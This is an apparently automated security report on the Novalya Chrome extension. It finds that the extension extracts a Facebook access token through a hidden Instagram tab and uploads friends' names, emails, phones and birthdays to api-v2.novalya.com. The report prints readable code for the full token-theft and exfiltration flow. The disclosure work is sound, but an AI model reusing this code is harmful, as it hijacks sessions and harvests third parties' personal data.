Is Novalya safe?

High risk

Novalya extracts a Facebook OAuth access token, fetches friend profile details, and uploads them to api-v2.novalya.com.

When Facebook friend syncing runs, the extension opens an Instagram OAuth flow, extracts a Facebook access token from the browser response, and uses it to request friend records from graph.facebook.com. It sends details such as names, birthdays, emails, phone numbers, genders, locations, languages, profile links, locales, and pictures to api-v2.novalya.com under the user's Novalya auth token.

Novalyav2.3.76Chrome Web Store
72Risk
Who publishes it

NOVALLIANCE LIMITED - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Novalya
Declared legal entity
NOVALLIANCE LIMITED
Registered address
15A Main Street, POD 2, the old Station House, Blackrock, Co. Dublin A94 T8P8, IE
Registered contact
Sonny Sturkop

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Uses Facebook token to upload friend profiles

Starting Novalya's Facebook friend sync opens an Instagram tab, requests OAuth status via signed-in cookies, and reads the access token from the response header.

It queries the Graph API for friend fields, then posts records to Novalya.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You click the Facebook friend profile sync button in Novalya.

The content script registers this on the #sync_friends_profiles click handler.

The extension did this

The extension retrieves a Facebook bearer token, queries Facebook for friend details, and posts the profile records to Novalya.

The token is used for Graph API access; the friend profile payload is sent to api-v2.novalya.com.

Fields the code requests or posts during Facebook friend profile sync
  • Facebook access token
    EAABsbCS1iHgBO2vPq9mF3xYh8K2nL4rT7wQ6zA5 (illustrative)

    This lets the extension make Facebook Graph API requests as the signed-in browser session during the sync.

  • Facebook friend ID
    100064735918245

    This identifies a person in the selected Facebook friend list.

  • Name
    Marie Dupont

    This can directly identify the friend whose profile was requested.

  • Birthday and age range
    birthday=04/18/1990; age=30-40

    This adds personal details about the friend profile beyond the friend connection itself.

  • Email and phone
    marie.dupont@example.fr; +33 6 12 34 56 78

    These are direct contact details when Facebook returns them for a friend profile.

  • Location and language
    hometown=Paris; location=Lyon; languages=French, English; locale=fr_FR

    This adds profile context such as hometown, current city, language, and locale.

  • Profile link and picture
    https://www.facebook.com/100064735918245; https://platform-lookaside.fbsbx.com/platform/profilepic/?asid=100064735918245&height=50&width=50&ext=1752600000&hash=AbZ9xY2mN7qP

    This links the uploaded record back to the friend's Facebook profile and image.

Captured request
GEThttps://www.facebook.com/x/oauth/status?client_id=124024574287414&input_token&origin=1&redirect_uri=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F&sdk=joey&wants_cookie_data=true

The code reads the fb-ar response header as JSON and forwards fb-ar.access_token to the background script.

Headers
Cookie
<redacted>
Captured request
GEThttps://graph.facebook.com/?ids=100064735918245&fields=id,age_range,birthday,email,mobile_phone,gender,hometown,languages,link,locale,location,name,picture.type(normal)&format=json&suppress_http_code=1

The code parses the JSON response and converts each returned friend object into a profile record for upload.

Headers
Authorization
Bearer <redacted>
Captured request
POSThttps://api-v2.novalya.com/novadata/api/sync-fb-friends-details

The code expects a JSON response with status="success" and data entries whose user values are sent back to the tab.

Headers
Content-Type
application/json
Authorization
Bearer <redacted>
The code that does this

Token retrieval, Graph API query, and Novalya upload in shipped code

Readable version

Readable token extraction flow

content_script/facebook/facebook_friend_list.js
$(function () {  if (window.location.href.endsWith("#get_fb_access_token") || window.location.href.endsWith("#/get_fb_access_token")) {    let attempts = 0;    const timer = setInterval(async function () {      attempts++;      if (attempts < 5) {        try {          const response = await fetch("https://www.facebook.com/x/oauth/status?client_id=124024574287414&input_token&origin=1&redirect_uri=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F&sdk=joey&wants_cookie_data=true", { credentials: "include" });          if (response.ok) {            const header = JSON.parse(response.headers.get("fb-ar") || "{}");            if (header.access_token) {              clearInterval(timer);              chrome.runtime.sendMessage({ action: "fb_access_token_ready", token: header.access_token });            }          }        } catch (error) {          console.error("Fetch failed:", error);        }      } else {        clearInterval(timer);        chrome.runtime.sendMessage({ action: "fb_access_token_ready", token: null });      }    }, 1000);  }});

Readable background token resolver

background/facebook_friend_list_bg.js
const pendingFbTokenResolvers = new Map();chrome.runtime.onMessage.addListener((message, sender) => {  if (!message || message.action !== "fb_access_token_ready") return;  if (!sender.tab) return;  const resolve = pendingFbTokenResolvers.get(sender.tab.id);  if (resolve) {    pendingFbTokenResolvers.delete(sender.tab.id);    try {      chrome.tabs.remove(sender.tab.id);    } catch (error) {}    resolve(message.token || null);  }});const getFBFriendsAccessToken = () =>  new Promise((resolve) => {    chrome.tabs.create({ url: "https://www.instagram.com/#get_fb_access_token", active: false, pinned: true }, (tab) => {      if (!chrome.runtime.lastError && tab) {        pendingFbTokenResolvers.set(tab.id, resolve);        setTimeout(() => {          if (pendingFbTokenResolvers.has(tab.id)) {            pendingFbTokenResolvers.delete(tab.id);            try {              chrome.tabs.remove(tab.id);            } catch (error) {}            resolve(null);          }        }, 15000);      } else {        resolve(null);      }    });  });

Readable Graph API request branch

background/facebook_friend_list_bg.js
if (message.action === "startFbFriendsDetailSyncing") {  if (fbBasicSyncingAborted) return false;  const token = message.token;  const ids = message.ids.join(",");  const tabId = sender.tab.id;  fetch(`https://graph.facebook.com/?ids=${ids}&fields=id,age_range,birthday,email,mobile_phone,gender,hometown,languages,link,locale,location,name,picture.type(normal)&format=json&suppress_http_code=1`, {    method: "GET",    headers: { Authorization: `Bearer ${token}` },    redirect: "follow"  })    .then((response) => response.json().then((data) => ({ status: response.status, data })))    .then(({ status, data }) => {      if (status === 200) {        prepareProfileDataToSave(data, tabId);      } else {        console.error("FB friend detail batch failed", { status, data });        try {          chrome.tabs.sendMessage(tabId, { action: "fbDetailBatchFailed", status, error: data && data.error || null });        } catch (error) {}      }    })    .catch((error) => {      console.error("FB friend detail batch network error", error);      try {        chrome.tabs.sendMessage(tabId, { action: "fbDetailBatchFailed", status: 0, error: String(error && error.message ? error.message : error) });      } catch (sendError) {}    });}

Readable profile mapping and upload

background/facebook_friend_list_bg.js
const prepareProfileDataToSave = (graphResponse, tabId) => {  const profiles = [];  Object.keys(graphResponse).forEach((id) => {    const friend = graphResponse[id];    const profile = {      id: friend.id,      name: friend.name,      birthday: friend.birthday || null,      gender: friend.gender || null,      hometown: friend.hometown?.name || null,      location: friend.location?.name || null,      languages: friend.languages ? friend.languages.map((language) => language.name).join(", ") : null,      locale: friend.locale || null,      email: friend.email || null,      phone: friend.mobile_phone || null,      age: friend.age_range        ? friend.age_range.min !== undefined && friend.age_range.max !== undefined          ? `${friend.age_range.min}-${friend.age_range.max}`          : friend.age_range.min !== undefined            ? `min ${friend.age_range.min}`            : null        : null    };    profiles.push(profile);  });  saveFbProfileData(profiles, tabId);};const saveFbProfileData = (profiles, tabId) => {  const headers = new Headers();  headers.append("Content-Type", "application/json");  headers.append("Authorization", "Bearer " + authToken);  const request = {    method: "POST",    headers,    body: JSON.stringify(profiles),    redirect: "follow"  };  fetch(insta_base_api_url + "/novadata/api/sync-fb-friends-details", request)    .then((response) => response.json())    .then((responseBody) => {      if (responseBody.status === "success") {        const users = responseBody.data.map((entry) => entry.user);        chrome.tabs.sendMessage(tabId, { action: "fbFriendsDetailSyncingDone", newlyAdded: profiles.length, users });      }    })    .catch((error) => console.log(error));};
External services involved in this flow
    • www.facebook.com

    Receives the OAuth status request made with the signed-in browser cookies.

    • graph.facebook.com

    Receives bearer-token Graph API requests for selected friend profile fields.

    • api-v2.novalya.com

    Receives the assembled Facebook friend profile records through Novalya's sync-fb-friends-details API.

    • www.instagram.com

    Opened by the extension as the page context that triggers the Facebook token retrieval flow.

Where it sends data

Destinations our analysis observed Novalya contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • graph.facebook.com

    Novalya sends data to graph.facebook.com. 3 other extensions we have analysed send data here.

  • api-v2.novalya.com

    Novalya sends data to api-v2.novalya.com. No other extension we have analysed sends data here.

Updated 30 September 2026iemhbpcnoehagepnbflncegkcgpphmpc